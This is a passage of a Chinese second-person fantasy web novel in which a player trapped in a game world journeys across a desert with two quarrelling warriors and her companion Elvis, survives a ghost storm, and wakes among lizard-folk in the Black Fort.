埃尔维斯试探着同她搭话:“怎么了?”
加米拉回过头,脸色不太好,细长的眉毛扬了扬,才盯着埃尔维斯的脸开口:“大人那边,总感觉不太对劲,她回来之后什么都没吃就去休息了,现在还没醒。”
埃尔维斯想要后退,生生忍住之后,不自在地整理了一下自己耳边的长发:“可能是太累了,昨晚我们在沙漠守了一夜,她一直状态紧绷。”
“可她前一个晚上还精神饱满!”
加米拉脸上浮现出愧疚的神色,很快找到了一个理由:“一定因为是看到了我们不中用的样子,大人才会变得这么紧张。”
埃尔维斯垂下眼:“或许她只是累了,你知道,她连续守了两个晚上了。”
“或许吧。”加米拉喃喃道,她把杯子递给埃尔维斯,“大人正在休息,我就不去打扰了,等她醒了,你帮我交给她吧。顺便告诉她,不用为我和佩莉姆担心,我们都很好。”
埃尔维斯接过来,掌心开始冒汗:“你为什么不自己给她?”
“祈祷的时间到了。”加米拉拢了拢长袍,避开埃尔维斯,从狭窄的过道里匆匆穿过。
埃尔维斯定在原地,加米拉走了很久,他的接过杯
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子的手还举在半空中。
“哇!”你被站在门后的埃尔维斯吓了一跳。
“有事吗?”你清了清嗓子,刚睡醒,声音还有些哑。
他把手里的杯子递过来,五指纤长:“加米拉让我把鲜奶交给您。”
你接过来小口啜着,皱皱眉,没有说什么。
“味道不好吗?”埃尔维斯很敏锐。
“唔。”你擦擦嘴,“稍微有点不习惯。”
其实尝起来有些腥,不知道是没煮好还是怎么了,但你不想抱怨什么,在风沙城里这些东西是很珍贵的。
加米拉的心意更加珍贵。
“还不走吗?”你扬眉,看着还在原地的埃尔维斯,“你该去准备了吧?一会儿我们就要出发了。”
他犹豫了一会儿,还是开口道:“我听加米拉说了前一个晚上的事,我认为再次发生的几率很小,另外两位大人会安排好一切的,您不用紧张。”
你没想到他也看穿了你的情绪,沉默了片刻,给自己找了个理由:“我只是在作战之前保持着紧绷,这样能让我掌控战斗的节奏,而不是依靠别人的安排。”
你不由自主的提高了声量:“我不想有失误!”
也不能有。
埃尔维斯却没被你突如其来的情绪吓退,他甚至往前走了一步,笨拙地拍拍你的肩膀:“您说过我们是朋友了,有我在您身边,那么至少在危险来临之前,我可以带着您离开。”
他的保证并不能带给你安全感,他甚至不了解你在经历什么,又是在为什么为难。
但你还是被他逗笑了:“埃尔维斯,你在学我吗?”
他伸出来的手立刻僵住了,手指嗖地缩回去:“第一次见面的时候,您就是这样做的,我希望通过这样,让您也像当时的我信任您一样信任我……”
你被他爆红的脸色转移了注意力,凑近了抬着头瞧他,慢吞吞道:“你确实做到了。”
看着他落荒而逃的背影,你笑出了声。
摇摇头,忧虑再度萦绕在你心间。
这一晚,环纹夜蟒出现了。
同样拱起的地表,沙子瀑布一般滑落,无数的黑影涌出来。
不同的是,蛇的数量比起上次的要少得多。
班哈杜和达尔勒穆动作很快,疾速冲向环纹夜蟒涌现的源头处,不需要沟通就能完成一次又一次的完美配合。
埃尔维斯则出乎你的意料,他袖子里延伸出来一把暗红色的武器,形状像是刀,攻击时有些忙乱,屡屡露出破绽,但幸好身法够快,总能及时调整。
他回头看过来,发现你被落在后面,显然有些惊讶。
你握紧了手中的法杖,犹豫几息,很快也投入战斗中了。
停滞不前是最无用的。
你攻击落下之处,环纹夜蟒一个个散发出焦糊味,皮开肉绽地抽搐几下之后不动了。
侧身抬手,用法杖挥开一个试图从视线盲区攻击的家伙。
你得保护好这条可能不会有第二次机会的小命,与此同时,朝着核心任务进发。
一条条倒霉的蛇无声化作了经验值,逐渐上升的经验条给了你些许安全感。
要变强!
这一条摆在所有的规划之前。
只有变强,才能走到想要的未来!
法杖在空中挥舞,你的思绪只被这一个信念主导,无暇回首身后粉碎的一大堆蛇尸。
离下一次出发的日子只剩几天了,但你还有太多事要做,身法和连招的联系,技能熟练度的提升,还有升级。
忙碌起来吧。
你在心里这样告诉自己。
这一晚,你厮杀至天色破晓。
28. 第 28 章
时间飞逝,转眼就到了出发的日子。
这几天来你一直跟着班哈杜和达尔勒穆在沙漠和风沙城两点之间往返,提升实力的同时也跟两人熟悉起来。
班哈杜经验老道,嘴上讲话近乎刻薄,却实实在在教给你不少东西。达尔勒穆稍微年轻一些,话很少,在战斗中格外可靠,不声不响替你处理掉来自后方的威胁。
这日正午,风沙城的居民们自发聚集在神殿周围,将自家编织的红色绳结挂在远行之人身上,以寄托平安的祈愿。
班哈杜和达尔勒穆显然都很受居民爱戴,围着他们的人挤满了一圈又一圈,直到他们的铠甲上挂满了绳结,人们还在继续往上添。
你倒是没有这样的待遇,站在一旁乐得看两人笑话。
达尔勒穆倒还好,脸上看不出来什么表情,一次又一次深深鞠躬,用双手接过对方递过来的绳结。班哈杜明显有些不耐烦,但手上的动作却没有一丝轻忽。
你突然看到他柔和了眉眼,心下好奇,转眼一看,他面前轮到个到他大腿高的小姑娘,眉眼同班哈杜有些像,正试图把绳结系在他手腕上。
更令你惊讶的是,班哈杜甚至蹲下身,一手拖着小姑娘后背帮她保持平衡,一手递到她跟前,十分配合。
他对瓦萨达蒂的态度也不过如此吧?
小姑娘小小的手指十分灵活,皱着脸几下系好才高兴了:“我系了死结,这样就不会弄丢了!”
而班哈杜,居然软了嗓音,对着小姑娘微笑:“谢谢你,我保证不会弄丢的。”
你又看见小姑娘噔噔噔挤出人群,扑在一位白袍妇女的裙摆下。妇人抱起这小姑娘,她笑起来时眼尾有着深深的皱纹,又用自己的外袍裹住小姑娘,冲班哈杜点头示意后才转身离开。
而这个过程中,班哈杜一直在目送她们。
难道是……
又过了一个多小时,等到人群散去,你们才转身进入神殿。
瓦萨达蒂和普尔伽什已经在等候了。
几人用蜡烛和红色水藻摆出一个圆圈,瓦萨达蒂席地坐在大殿中央,正好在那幅壁画正下方,穿着的红袍比初见时更加繁复绚丽。
这时的班哈杜和达尔勒穆神态格外肃穆,闭着眼双手合十,跪倒在瓦萨达蒂脚边接受她的祝福。
紧接着,双胞胎姐妹领着祈祷完的两人,往神殿深处的房间走去。
你试图跟上,却被瓦萨达蒂拦了下来。
她的脸上有着化不开的担忧和愁苦,低垂着眉,像是很疲倦。
“给远行的人送上的红色绳结,寓意着祝福和思念,它会将彼此牵挂的人联系起来,传说中系上红色绳结的人,最终一定会回到风沙城。”瓦萨达蒂从袖子里拿出一段红色绳结,递给你道,“请您收下瓦萨达蒂的祝福吧。”
普尔伽什也走到你身前,双手递上三段红色绳结:“我的也在这里,另外两条是佩莉姆和加米拉托我转交的。”
你一一接过,每段绳结都不相同,形状上也没有特别相似的对象,看不出什么特别的,但你还是十分珍惜地收起来:“我会好好保存的,也一定会带着绿色之心回到这里。”
话音刚落,双胞胎又领着两个陌生男子回到了大殿内。
远远看上去那两人黑发棕眸,身材都很高大,穿着白色带棕镶边的长袖长裤,同沙民们从上裹到下的穿衣风格十分不同。
等走近了,你才发现,这两人原来是熟人。
班哈杜不断调整着身上的衣服,把领子上系着的扣子扭来扭去,抬腿盯着自己的裤脚很不高兴:“一定要穿成这样吗?”
一旁的达尔勒穆也有些不自在,过一会儿就要摆弄几下自己的头发。
你惊讶:“怎么会变成这样?”
班哈杜皱着眉不看你,达尔勒穆只好开口:“路上再说吧。”
瓦萨达蒂同你们一一告别,她叮嘱那两人:“我知道这对你们很难,但一切都是为了族人们,我会在此祈祷一切顺利,直到你们平安归来。”
在告别声中,传送阵的光芒渐渐亮起,瓦萨达蒂和普尔伽什的身影渐渐模糊,你看见双胞胎姐妹依偎在一起,肩膀微微抽动。
班哈杜啧了一声,看向你身后:“有必要带上这家伙吗?”
站在你身后的埃尔维斯点头回应他的质疑:“瓦萨达蒂并没有阻拦我。”
你看看无言以对的班哈杜,又看看始终垂头站在你身后一步的埃尔维斯,最终还是看向前方,没有开口。
他们能自己解决,你何必插手呢?
埃尔维斯是主动要求跟你一起出来的,他的原话是:“我很想看看您所说的风沙城之外的世界,请带上我吧,我不会给您添麻烦的。”
你问过普尔伽什,只得到一句意味颇深的话:“我们向来没有资格管束那孩子的自由。”
你只好当成是默许了,转告给埃尔维斯,他听了也不曾多说什么,只是垂着眼,显得好不可怜。
到了今天,他依言跟着你,瓦萨达蒂也没有阻止,从头到尾一直无视他的存在。
出了传送阵,你们一行四人出现在一片荒芜的沙漠之中。
四顾茫茫,找不到任何可以当做标志物是东西。
班哈杜却转向你:“上次教您应当如何在沙漠中辨别方向,您还记得吗?”
虽然他的用词很客气,但话音却并非如此。
你挑眉,对上他锐利的双眼:“当然。”
其实有系统地图在,你很容易判断出东南西北,但不好对另外三人解释,只好用起上次班哈杜教的方法。
你打量一圈,连根木棍都没有,干脆拔出自己的法杖插在地上,先标记好法杖影子的顶端,过了一段时间后,又标记好移动后法杖影子的顶端,两点相连,最后在这条线段上画一条垂直的线。
“画好了。”你看着一旁抱臂看戏的班哈杜,“现在,我们要往哪个方向走?”
“往更西方。”
班哈杜说完,达尔勒穆就主动带着你们朝坐标轴指示的西方走去。
这次行动,达尔勒穆依旧是领队,那个夜晚的影响比起你想的要持续得更久。
班哈杜还是头也不回地走在你前面,这次你和埃尔维斯落在队伍最后了。
走出几步,你拉起埃尔维斯,快步跟上班哈杜,并肩走在他身侧。
“班哈杜。”你
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用胳膊撞他一下,“你还没说呢,为什么会变成现在这样。”
他斜你一眼,目光滑过一旁的埃尔维斯,很快收回,语气有些冲:“沙民的外表是由血的力量塑成的,把力量暂时交还给圣物,就变成这样了。”
听完你暗自惊讶,本来将自己的血放到体外运用的能力已经够逆天了,没想到还能改变外表,实在玄乎。
所谓血的力量实在神奇。
此外班哈杜提到的把力量交还给圣物也很值得琢磨,没记错的话,瓦萨达蒂解释钦黛尔融合圣物的时候也说她是为了得到其中的力量。
你又问班哈杜:“沙民男性看起来比沙民女性年轻,也是因为血的力量吗?”
“不。”这次回答的是达尔勒穆,他转过头来,眼中带着几分悲意,“沙民男性,天生就要比沙民女性短寿,越是天赋出众越是短命,五十岁已经是我们可以看到的最远的终点了。”
气氛一时沉重下来。
达尔勒穆和班哈杜虽外表精壮,丝毫不见老态,但看得出来至少已经三十多了,留给他们的时间,不过十多年。
眼看着死亡的迫近,实在令人压抑。
班哈杜却冷哼了一声,不知是在嘲讽谁:“果然是天才能有的感慨,像我这样四十岁还没觉醒的人,实在驽钝,说不定还有望看到五十岁以后的终点!”
达尔勒穆横眉相对:“你何必说这种话!”
班哈杜毫不相让:“怎么,因为我能比你这个天才活得更久生气了吗?那实在是很抱歉,我可体会不了天才们的感伤。”
“你明知道我不是这个意思!”
“那你倒是说说,你是什么意思!”
“好了好了!”眼见两人吵起来,你赶紧劝架,“还要赶路呢,任务为重!”
又拉过班哈杜努力转移话题:“刚才来送你的小姑娘是谁啊?”
“怎么?”从吵架中中断的班哈杜语气十分生硬。
“没事!”你挤出假笑脸,为了任务顺利推进忍了,“我就是看她很可爱,想起来问一句而已。”
听到你的话,班哈杜情绪倒是缓和下来:“是我妹妹莎佳达,今年十一岁。她的名字在我们的语言里是勇气的意思,她也是我见过最勇敢最可爱的小姑娘。”
你点点头,笑着应和:“你们看起来感情很好,我还以为是你的女儿呢。”
你又问沉默下来的达尔勒穆:“我没有注意,你的亲人也有来送行吗?”
“不。”这次他头也不回,“我是孤儿,同普尔伽什一样,是由瓦萨达蒂和族老们扶养长大的。”
“额……”你想了半天也没能接上话,只能向他道歉。
“没关系。”他意有所指,“我知道你是无心的,当然不会生气。”
一旁背着长刀前行的班哈杜又开始鼻子出气:“哼。”
你闭上嘴,和埃尔维斯一样尽可能让自己边缘起来远离争论中心。
没想到一向话少的达尔勒穆遇上班哈杜也能碰出火星。
这已经不是你能掺和的程度了。
你有预感,这一路上很难顺利。
瓦萨达蒂,您的祈祷恐怕要落空了。
29. 遇险
班哈杜和达尔勒穆争吵不断。
明明是两个中年人,却为了吵架开始吵架。
传送阵只带着你们跨越了大半个迷惘沙漠,为了取信于人,你们需要再走上一段路,以便到达目的地后进行伪装。
但现在,这个队伍快走不下去了。
班哈杜的话像锋利的刀:“你是领队又如何?想对我指指点点吗?”
埃尔维斯拉住想要上前争辩的达尔勒穆,你也奋力把着班哈杜的手臂将他往后拖拽。
但你阻止不了班哈杜继续爆发:“把力量交还给圣物之后,你又有几分自信可以胜过我呢?我忍你太久了,看看你自己,我实在是不明白你现在在想什么!你忘了自己曾经说过的话吗?你走偏了达尔勒穆!你给我清醒一点!”
你在一旁听得一头雾水,连新章节任务解锁也没来得及细看。
明明是该走哪个方向的分歧,怎么绕到这里了?
达尔勒穆握紧的双拳骨节嘎吱作响,眼神冷下来:“你当然不会明白我在想什么,我从来不想同你争,班哈杜,但我很清楚我要做什么,如果你还是我的朋友,不要阻止我,来帮我。”
“我呸!”你被情绪激动的班哈杜往前拖了两米,你从没见过他这么不顾风度,“你根本不知道自己的所作所为会带来什么,你自己都想不明白的事我要怎么帮你!”
达尔勒穆却不接话了,他看向一旁的你,开口说了句“劝他任务为重”,就转身朝着自己选定的方向开始带路了。
“你给我回来!”
班哈杜还在叫嚣,达尔勒穆却头也不回地走了,每一步都迈得格外坚定。
埃尔维斯还等在一旁,你刚刚要他去拉住达尔勒穆,现在达尔勒穆走了,他不知道该等你还是跟上去。
“过来扶着班哈杜大人吧。”你朝他挤挤眼睛,又转向班哈杜,“都是一样的,走那边可能冒险,但剩了不少赶路的时间,我们的抓紧了,沙民们已经等待太久了,这个七月节你也不想让大家失望对吧?”
你们准备二人一左一右架起班哈杜,防止他和达尔勒穆再起冲突。但就在埃尔维斯刚刚碰到班哈杜手臂的时候,突然被班哈杜甩开了。
“我还用不着别人搀扶。”他明显在忍耐,勉强道,“您不用担心了,我不会再跟他吵架了,他已经无可救药了。”
同样被甩脱的你揉着手腕,嘴上不理会班哈杜对达尔勒穆充满情绪的判断,心下却信了。如果他真的想跟达尔勒穆起冲突,刚才你不能拉得住他。
埃尔维斯走过来,小声问你:“您还好吗?刚才有没有受伤?”
你摇摇头,看着班哈杜跟上达尔勒穆的背影:“我没事,班哈杜生气的时候也收敛了。”
“我可看不出来班哈杜大人哪里有收敛。”埃尔维斯甚至耸耸肩,很放松地同你讲自己的想法,“刚才被推开的时候,我下意识就要出手了,班哈杜大人发火的样子就像咆哮的沙棘兽。”
系统自动弹出了沙棘兽图片,几乎与黄沙同色的高大兽类,脖子到背脊上有一大串沙棘果状凸起,眼神凶恶。
“嘶。”你吸一口气,“确实有点像。”
但班哈杜在形象上应该美观一些。
从结果上来看,班哈杜还是屈服了,接下来一路选定方向的都是达尔勒穆,班哈杜不远不近的缀在后面,你和埃尔维斯则并肩走在最后。
你分神查看了一番新解锁的章节任务。
【叮】检测到玩家触发关键剧情——
【叮】放逐之子(第四章)剧情已解锁(接取倒计时00:23:06)
【叮】玩家已接取
【放逐之子】沙民班哈杜和达尔勒穆曾是彼此的挚友,远行之路上他们却争吵不休,请深入发掘二人的往事,寻找他们的分歧所在。
(注:任务不限时,玩家本章的完成情况直接影响奇遇结局走向,沙民将何去何从就在您的一念之间哦!)
你心里的焦虑总算缓解不少,能接到新任务,一是说明没有错过关键剧情,另一则是代表奇遇剧情还在正常推进。
只要能顺利完成,一定可以脱离的。
一定可以!
“您在想什么?”埃尔维斯微微低头,暖棕色的眸子闪着温柔的光。
“啊?”你的思绪被打断,转头看向他,但很快想出合理的理由,“在想任务的事情。我对‘那一边’的人们知之甚少,担心难以应对未来会发生的事情。”
他微笑起来,示意你把顶在头上的“炎息”拿下来,自己又取出“炽念”交给你。
现在将近傍晚,气温开始转凉,埃尔维斯比你更能适应沙漠里的气候,于是你谢过他的好意,把更宽大的“炽念”披在外面。
“怎么,你不想同我讲一讲‘那一边’的事情?”你侧首打量他。
埃尔维斯始终同你保持着一段距离,但你看到他脸上的笑意明显加深了:“我正等着您提问。”
好吧,他的坦诚真让人有些受不了。
你花了一段时间才适应“长大了”的埃尔维斯,你看得出来他在欲擒故纵,但你并不讨厌这一点。
你主动靠过去:“我要开始了!”
据埃尔维斯所说,迷惘沙漠最西端的居民们被沙民们称为“蛮族人”,因为他们四处游荡,披鳞长尾,甚至茹毛饮血。
“真的没有夸张么?”你表示疑惑,“他们到底长什么样?”
埃尔维斯想了想,道:“我见过他们几次,上一次是两年前——绿色之心丢失的时候,他们像人一样直立行走,但外表更像沙蜥,竖瞳尖牙,浑身都是灰色的鳞片,尾巴很长,也很灵活,见过他们用尾巴攻击。”
说完后他又补充道:“其中有一个家伙不太一样,我当时躲在神殿外废弃的地穴里,我见到一个浑身是银色鳞片的蜥蜴人进入神殿。”
“银色?”
“对,甚至闪闪发光,像寒冷的星光。”
你想象了一番,脑海里还是没有一个鲜明的形象,又问埃尔维斯:“那加米拉和佩莉姆呢?她们当时不在神殿吗?”
“不,她们在的。”埃尔维斯的回答却出乎你的意料,“但那个人没有伤害她们,也没有破坏神殿,那么她们就没有理由阻止那个人进去。”
“沙民们的观念,还真是奇特。”你感慨道。
“是的。”埃尔维斯沉默了下来。
你叹一口气,轻轻伸出手勾住他垂在身侧的手掌:“你继续说吧。”
“嗯。”他很快摆脱了坏情绪,朝你露出一个堪称爽朗的笑容,“那我继续讲了。”
“我刚刚讲到,那个人没有破坏神殿,也没有伤害佩莉姆加米拉姐妹。”
“是的。”你点点头回应。<
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p>“后来我听说,那个人跪在神殿里喃喃自语了一番,就像是祈祷一样,但很快就离开了。”埃尔维斯接着道,“再后来,他们抢走了绿色之心,很快就逃走了,只有一个家伙被抓住,但什么都没审问出来就自尽了。”
你产生了一连串的疑问:“在风沙城的神殿里祈祷?他们怎么能逃走的?风沙城里的战士们呢?”
埃尔维斯摇摇头:“他们不像以前那样去风沙城周边的绿洲取水,而是通过传送阵直接突破了风沙城的城墙,我当时应该是最早碰到他们的,但……我没办法去告诉其他人。”
你了解他的处境,当时的蜥蜴人们甚至能绕开风沙城的守卫,这种事即便他说出来也不会有人相信的。
“那是一个午后,一天中最炎热的时候,居民们都在家里。如果不是祈祷和讲经的时候,城中湖周边很少有人,沙民们并不依靠那里的水源生活,而是从周边的绿洲取水。直到他们已经得手准备逃离的时候,城中的卫士才发现了动静——谁也不知道有人敢去偷绿色之心。”
你想起双胞胎姐妹的嘱托:“所以加米拉和佩莉姆才会这么在意这件事,她们愧疚自己放走了坏人?”
埃尔维斯对你的猜测表示肯定,点头道:“其实族中自绿色之心失窃之后,一直有这样的声音,即便大家都知道她们只是在履行自己的职责。”
难怪班哈杜之前对两姐妹态度不好,他那样个性的人,眼里容不得一点沙子。
你又问:“时间过去了两年,期间沙民们就没想过把绿色之心抢回来吗?”
“当然想过。”埃尔维斯像是想起来不好的回忆,“蜥蜴人一族行踪不定,根本找不到他们。城中湖消失,更多是给了沙民们精神上的打击——那是神在人间的象征。一开始居民们的生活并没有受到影响,周围的绿洲依旧在。后来普尔伽什大人通过圣物的力量知道了他们在建城,战士们传送过去却没能突破敌人的防线,每次都是惨败而归。再后来绿洲也几乎干涸了,我们靠着以前储存的水生活,朝不保夕,更无力去正面迎战了。”
“他们很强?”你不解,“他们来抢绿色之心就没有一个理由吗?”
“他们很强。”埃尔维斯肯定道,“我们虽然能运用血脉的力量,但远没有脱离肉体凡胎,他们却有一身坚硬的鳞甲,战斗风格也刚硬狠辣,沙民们不是对手。”
“那只靠我们四个人又怎么能把绿色之心带回去?”你叹气,心下怀疑任务根本没有可能完成。
“只能听达尔勒穆和班哈杜两位大人的吧。”埃尔维斯又道,“但他们的强悍也是沙民们在绿色之心被抢走后、正面对上了蜥蜴人一族才知道的。之前对方也来风沙城附近的绿洲抢过水源,每次几乎能把湖喝干一半,还大肆破坏绿洲里种植的巨型仙人掌,沙民们都很反感,为了阻止他们取水也起过很多次冲突,对方并不伤人。但现在,风沙城的战士有不少没能回来,他们的人也死在了风沙城,据说那一族的首领抢走绿色之心后也负伤去世了,两边大概已经到了不死不休的地步了。”
原来两边有着如此多恩怨。
你心头闷沉,问埃尔维斯:“那现在蜥蜴人一族的情况又如何?谁是执掌一族的人?”
他正欲开口回答,却被达尔勒穆的示警打断了。
“准备战斗!”
你放目远眺,灰色的风暴正在聚集。
30. 脱险
第六日夜,黑堡。
有月无风的夜晚,黑色岩石层累堆砌而成的坚固城墙之上,蜥蜴人卫士们正在同下一组换岗。
这是蜥蜴人一族最喜爱的时刻,湛然月华会驱散一切阴影,这座年轻的、屹立在大陆极西的坚毅城市,无声守卫着族人们的安眠。
这也是从前数百年里从未有过的安稳。
换岗的间隙里,结束了一整天工作的蜥蜴人卫士们彼此交谈着:“达勒温杜穆大人庇佑,今夜平安无事。”
那是上一代首领的名字,他被族人视为有史以来最伟大的王。自两年前王去世后,他的名字就被所有人当做了护身符,同伟大的红色巨蜥一样,成为他们信仰的一部分。
卫士们感慨着:“仅凭王的遗泽,我就愿意向他的儿子许诺一辈子的忠诚。”
但这注定是一个意外重重的夜晚。
望楼里准备换防的卫士扫了城外一眼,立时敲响了警戒钟,刺耳的钟声立刻惊醒了这座城市。
“全体戒备!”
居民们从地穴里鱼贯而出,行动迅速而组织严密。他们没有发出太多声音,偶然惊醒的幼崽们还窝在母亲怀里,但很快又在母亲的哄劝中睡过去,她们捂住孩子的耳朵,用同样的心愿祈祷着:“睡吧我的孩子,醒来就没事了。”
卡威铎是位很年轻的战士,当他走上城墙之时,所有人都向他低首行礼。他尚未成年,身形在同族中只能算瘦弱,但银色的鳞片在夜色中如月光一般皎洁,如星河一般璀璨——那是他血脉的证明,也是他父亲的遗泽。
“王子,那些阴魂又聚集起来了。”守卫在此的城门官这样告诉他。
卡威铎目力极好,他凝视着远方海浪一般在沙地上涌向前的灰色风暴,良久,才开口道:“开城门。”
“是……什么?”一旁的卫士不解,他看向这位年轻的王子,“不是迎战而是开城门吗?”
“是的。”卡威铎不在意对他决策的质疑,伸出手指向前方,“风暴很快就会消退的,但那里,有两个远方的来客需要我们的帮助。”
卫士们睁大了眼看向他所指处,等人走得更近了才看清:“确实有两个人!”
“风暴真的消散了!”
“是绿色的头发,太奇怪了。”
“他们没有鳞片!”
被警戒钟惊醒的将军也来到了城墙上,沃里恩看向这位未来的王,凑到他身边低声道:“您确定不是敌袭吗,东边那群红发蛮子……”
卡威铎摆了摆手:“沃里恩叔叔,您仔细看看。”
沃里恩一手搭在城墙上,微微探出半个身子,最终在卡威铎的解释中明白了他下令的理由:“他们有着一双尖耳,根据族中记载,应当是妖精或者未成年的精灵。”
沃里恩脸上的细密鳞片微微炸开,他仍有疑虑:“妖精和精灵怎么会出现在这里,迷惘沙漠已经与世隔绝几百年了!”
不同于上代王的冷肃威严,卡威铎总是笑吟吟的,他摆摆手制止沃里恩:“说不定是红色巨蜥的眷顾呢。”
他看向那两人身后逐渐退却的灰色风暴:“他们运气足够好,希望我们也一样——黑堡需要一个转机。”
“开城门吧。”
话已至此,沃里恩不能再质疑,即使年轻,卡威铎也注定会成为一族王者。
他低下头,单膝跪在卡威铎身后:“如您所言,我的王。”
——————
金色的菱锥护身符落在埃尔维斯身前,随着他向前奔跑的节奏不时砸在肩膀上,但埃尔维斯没空把它挪开。
他喘着气,胸膛剧烈起伏着,疑心自己下一刻就要倒下,然后被涌上来的阴魂组成的灰色风暴吞噬。
不能停,埃尔维斯这样告诉自己。
他不时找着话,提起的都是一些琐碎的、根本不重要是事情,他停不下来,怕护身符的主人下一刻就在他肩膀上停止呼吸了。
他的眼泪快要涌出来,声音发颤:“您还醒着吗,大人?”
“哦……当然。”你伏在埃尔维斯背上,气若游丝。
伸手把那荡来荡去的护身符抓在手里,你咽下一口涌上来的腥甜:“目前还死不了。”
“都是我的错……都是我的错……”你环在他颈边的手臂上滴落几颗微凉的液体,是埃尔维斯的眼泪。
你疼得厉害,背上不用看也知道是血肉模糊的一片,也确实是在生死边缘,血量要靠护身符才能维持在“1”。
但你还是想笑:“怎么能怪你呢,埃尔维斯,要怪也是怪达尔勒穆那家伙,他明明说这边的风险我们能应对,自己身为队长却被冲散了。”
“我们在哪里只会让他们分神,现在他和班哈杜说不定在一起吵架呢。”
其实你可以在地图上看到代表班哈杜和达尔勒穆的小点尚且安全,他们应战可比你们两个菜鸟熟练得多。
短短几句话说完,你已经头晕目眩了,脑子里一阵嗡鸣,根本听不清埃尔维斯回答了什么。
其实你短暂的犹豫过,要不要放弃抵抗,埃尔维斯没了累赘逃脱的几率更大,至于你——
说不定一睁眼就能看到爸爸妈妈呢!
埃尔维斯抓紧了你即将滑脱的手臂,用力把你往上背住:“千万别放弃啊小薇……我会恨我自己的……别扔下我……”
在生与死一线间犹豫的时候,有人帮你做好了选择。
你伏在他不甚宽阔的肩膀上,被他凸起的肩胛骨隔得生疼,但你的语气前所未有的轻柔:“谢谢你,埃尔维斯。谢谢你救了我。”
他却答道:“不,是您拯救了我。”
灰色风暴聚集起来的那一刻,脚掌踩在地上,连沙子流动的声音都可以听清。
“准备警戒。”
达尔勒穆的声音传过来,班哈杜很快拔出了背在身后的长刀。
这次出来,他们带的都不是自己惯用的武器,而是换成了没有风沙城标识的,毫无特色的长刀。但这并不妨碍他们应对得宜。
班哈杜挥刀劈开一抹半透明的灰色阴影,大吼道:“攻击阴影最浓厚的地方,那是唯一的弱点!”
你知道他是想提醒你,沙民们对他们的生活环境很了解,每一种威胁应当如何应对,他们有在此探索了几百年的解决之道。
但你的攻击在此失灵了。
法力波动之后,滚烫的火焰在半空中爆开,所有被你瞄准弱点的阴魂都毫发无伤。
它们甚至将体型变得更加膨胀。
巨大的风暴朝涌过来,你的耳边呼啦作响,头发完全向后竖起,好不狼狈。
你体验到了在风中窒息是什么感受。
很快,它们呼啸而过,你没怎么受伤,但想到刚刚自己呼吸的可能是这东西的“□□”,你赶紧换了把普通武器准备迎战。
开玩笑,真的在风里憋死也太委屈了!
余光带过的地方,班哈杜和达尔勒穆都很顺利,他们大概有过应对这些东西的经验,周边阴魂连近身的机会都没有。
埃尔维斯不甚熟练,时不时挨实了攻击,但那些东西对他影响不大。
你是到了眼前模糊的时候才发现不对劲的。
为什么头这么晕?
连续三次攻击同一个位置才能解决这些家伙,你的体力消耗极大。
眼看着一个身影凝实的家伙从侧后方扑向埃尔维斯,你快步上前,替他挡下了这次攻击。
即将消散的阴魂发出刺耳的尖啸,埃尔维斯忍不住捂住了耳朵。
在那东西的不甘之中,你的武器碎成几块,等意识恢复的时候,你已经倒在地上了,温热的血液从耳朵里流出来,胳膊和腿上一定擦伤了,刺痛难耐。
那些阴魂像群聚逐食的乌鸦,瞬息间蜂拥而至。
等埃尔维斯把你从灰色风暴堆里拔出来,你吐出一大口血来,整个人连站起来的力气都没了。
你耳内轰鸣,很想告诉抱着你哭起来的埃尔维斯他很吵。
但你抬起指头的力气都没有了。
挡下攻击的那一霎那你什么也来不及想,身体比你的思维更快。而现在,倒在他的怀抱里,温热的眼泪混进你流出来的血里,你开始后怕,但并不后悔。
在这个游戏世界里彷徨的几天里,埃尔维斯给了你坚持下去的理由。
每一个外出的夜晚,他无声的注视都在倾诉着,你的坚持是有意义的。
不后悔玩这个游戏,不后悔接下奇遇,不后悔认识他。
只是有些想念爸爸妈妈。
真可惜啊,你伏在他背上这样想着,身后是班哈杜大声吼着让你们往西跑不要回头。
要是埃尔维斯是现实里的人就好了。
你蜷缩在他背上,握紧了护身符,眼前陷入一片黑暗。
——————
再次睁开眼时身处在一片狭小的空间里,你下意识寻找着有光的位置,那是一块散发着莹莹光芒的绿色晶石。
“那是烟梦晶石,迷惘沙漠的产物。”<
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p>你转向声音的源头,艰难地分辨着。
意识回笼之后,你才发觉自己躺在一块毛茸茸的兽皮上,但床板很硬,你动不了。所在的房间比你想象的要宽敞一些,只是更多地方隐藏在黑暗之中,不能为晶石的光芒照亮。房间陈设十分简陋,连朴素也说不上,简直是“家徒四壁”。
坐在你床边的是位蜥蜴族的年轻人,他自称叫做卡威铎。
“谢谢你,卡威铎。”你发觉状态栏阴魂造成的“灵魂攻击”debuff已经消失了,金色护身符可使用次数下降为1。
“谢谢你救了我。”你虚弱道,“我的朋友呢?”
这位有着华丽银色鳞片的年轻蜥蜴人露出一个微笑,那在他脸上并不难看,连他的竖瞳也透出一股子温和:“他很快就过来。”
你随着他的目光转向狭窄的门后,先低着头进来的也是位蜥蜴人,对方的鳞片是蜥蜴人一族常见的灰色,一进门就目光锐利地刺向你,脸上有一道从额头横亘到嘴角的肉色伤疤,气势很是威严。
你实在没办法从他们的外表分辨性别,幸好卡威铎很快介绍道:“这是我的母亲,阿尔哈雅杜,是她救了你。”
“谢谢您。”你诚恳地道谢,目光却被她身后的人吸引了。
是埃尔维斯。
“幸好您没事。”他走过来握住你的手,眼神动了动。
你轻轻回握,微微合上眼皮。
“远方的客人,你们为什么会出现在这里?”开口的是阿尔哈雅杜,她的声音很明显有着女性的轻缓,但语气不容质疑,显然是位居于上位的法令者。
蜥蜴人一族使用的是通用语,但有些词的用法似乎跟外界有所不同,幸好有系统在,你理解起来没有困难。
你轻声道:“我来自世代聚居于藤之国度的妖精一族,受我的朋友所托,来此寻找火凤的金色尾羽。”
话音刚落,房间里的气氛似乎轻松了不少。
这对母子对了个眼神,像是放松了警惕。
卡威铎似乎很好奇,他的声音很年轻,活力十足。
“那一定是对您很重要的朋友。”他道。
你的余光看向侧坐在一旁的埃尔维斯,答道:“是的。”
他又好奇似的问道:“那您来时可曾途径泪湖下游的华音城?我们的祖先几百年前从那里迁徙到迷惘沙漠之西,据说泪湖的支流香河从那里汇入悲泣之湖与极南之海的交界处,涨潮时的景象蔚为壮观。”
你摇摇头:“我的朋友在羽风关将我们传送到了迷惘沙漠里,没有机会去往华音城。”
阿尔哈雅杜几不可见地摇了摇头,卡威铎便站起身准备离开,他叮嘱你好好休息,又问道:“远道而来的客人们,明天黑堡里将有一场盛大的宴会,如果方便的话,请务必赏光。”
“可她伤得很重……”埃尔维斯想要回绝。
“她很快就能恢复了。”阿尔哈雅杜看向你,语气很强硬。
“是的。”你示意埃尔维斯不用担心。
